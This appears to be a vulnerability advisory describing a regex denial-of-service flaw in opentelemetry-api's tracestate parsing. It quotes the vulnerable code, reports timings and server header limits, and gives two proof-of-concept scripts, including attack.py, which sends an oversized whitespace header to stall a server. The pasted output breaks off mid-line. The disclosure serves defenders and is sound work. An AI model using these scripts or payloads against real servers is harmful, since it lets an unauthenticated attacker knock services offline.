PyPI · opentelemetry-api
OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api
TraceState.from_header splits the inbound W3C tracestate header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N²) CPU. A single unauthenticated request with a ~100 KB tracestate keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.
opentelemetry-api (pip) — opentelemetry/trace/span.py (TraceState.from_header), reached from opentelemetry/trace/propagation/tracecontext.py (TraceContextTextMapPropagator.extract).main (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between.OTEL_PROPAGATORS defaults to tracecontext,baggage) from any server instrumentation that calls propagate.extract(), for example opentelemetry-instrumentation-asgi.# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57
tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # <-- attacker-controlled request header(s), any size
if tracestate_headers is None:
tracestate = None
else:
tracestate = TraceState.from_header(tracestate_headers) # <-- no length check before parsing (line 61)
# opentelemetry-api/src/opentelemetry/trace/span.py:45
_TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32 # <-- only enforced later, in TraceState.__init__, after the split
_delimiter_pattern = re.compile(r"[ \t]*,[ \t]*") # <-- (line 46) starts with an unbounded [ \t]*
# span.py:382
@classmethod
def from_header(cls, header_list: list[str]) -> TraceState:
pairs = {} # type: dict[str, str]
for header in header_list:
members: list[str] = re.split(_delimiter_pattern, header) # <-- (line 400) VULNERABLE: O(N^2) on "a=b" + " " * N + "x"
for member in members:
if not member:
continue
match = _member_pattern.fullmatch(member)
if not match:
_logger.warning( # <-- also logs the entire malformed member (up to the whole header)
"Member doesn't match the w3c identifiers format %s",
member,
)
return cls()
...
re.split tries the pattern at every offset. At each offset inside a whitespace run, [ \t]* consumes the rest of the run, finds no ,, backtracks and fails, then the engine moves one character forward and repeats. N characters × up to N steps each = O(N²). The 32-member limit never gets a chance to run because split has to finish first.
# baggage/propagation/__init__.py:68
_MAX_HEADER_LENGTH = 8192
...
if len(header.encode()) > self._MAX_HEADER_LENGTH: # <-- (line 93) rejected before any regex runs; tracestate has no equivalent
_logger.warning(...)
return context
A 16 KiB header costs ≈ 0.25 s and an 8 KiB header ≈ 0.07 s.
Measured cost of extract() on one core (valid traceparent, tracestate: "a=b" + N spaces + "x"): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6× slower).
Whether a server lets such a header through (header-size limits, tested): gunicorn rejects ≥ 8190 bytes (response code 431); uvicorn --http h11 rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); uvicorn --http httptools — the default parser with uvicorn[standard] — accepted 300 KB, 1 MB, 5 MB and 20 MB tracestate headers.
pip install opentelemetry-api (any version from 1.0 up to the current main is affected).poc_tracestate.py:import logging
import time
from opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator
# The library logs the whole malformed member at WARNING; silence it so the timings stay readable.
logging.disable(logging.CRITICAL)
TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"
propagator = TraceContextTextMapPropagator()
previous = None
for n in (10_000, 20_000, 40_000, 80_000):
# N spaces after a valid member, no comma anywhere in the header
carrier = {"traceparent": TRACEPARENT, "tracestate": "a=b" + " " * n + "x"}
start = time.perf_counter()
propagator.extract(carrier)
elapsed = time.perf_counter() - start
growth = f"x{elapsed / previous:.1f}" if previous else "-"
print(f"{n:>7} characters {elapsed:6.2f} s growth when size doubles: {growth}")
previous = elapsed
python poc_tracestate.py. 10000 characters 0.06 s growth when size doubles: -
20000 characters 0.26 s growth when size doubles: x4.0
40000 characters 1.04 s growth when size doubles: x4.0
80000 characters 4.13 s growth when size doubles: x4.0
Replace " " with "\t" to see ≈1.6× longer.
This uses OpenTelemetryMiddleware from opentelemetry-instrumentation-asgi around a trivial ASGI app and the default uvicorn[standard] parser (httptools).
pip install opentelemetry-api opentelemetry-instrumentation-asgi "uvicorn[standard]".app.py:from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware
async def app(scope, receive, send):
await send({"type": "http.response.start", "status": 200, "headers": [(b"content-type", b"text/plain")]})
await send({"type": "http.response.body", "body": b"ok"})
app = OpenTelemetryMiddleware(app)
uvicorn app:app --host 127.0.0.1 --port 8000 --http httptoolsattack.py:"""Send one oversized tracestate request and, while it is being handled,
measure how long an unrelated request to the same server has to wait."""
import socket
import sys
import threading
import time
HOST, PORT = "127.0.0.1", 8000
N = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000
TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"
def get(path, extra=""):
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(f"GET {path} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n{extra}\r\n".encode())
start, data = time.perf_counter(), b""
while chunk := s.recv(65536):
data += chunk
return time.perf_counter() - start, data.split(b"\r\n")[0].decode()
result = {}
extra = f"traceparent: {TRACEPARENT}\r\ntracestate: a=b{' ' * N}x\r\n"
attacker = threading.Thread(target=lambda: result.update(a=get("/attack", extra)))
print("idle /ping: %.3f s %s" % get("/ping"))
attacker.start()
time.sleep(0.5) # let the attack request reach the server first
print("/ping during the attack: %.3f s %s" % get("/ping"))
attacker.join()
print("attack request itself: %.3f s %s" % result["a"])
python attack.py 100000./ping answers in milliseconds, but a /ping sent half a second after the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:idle /ping: 0.000 s HTTP/1.1 200 OK
/ping during the attack: 5.9
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.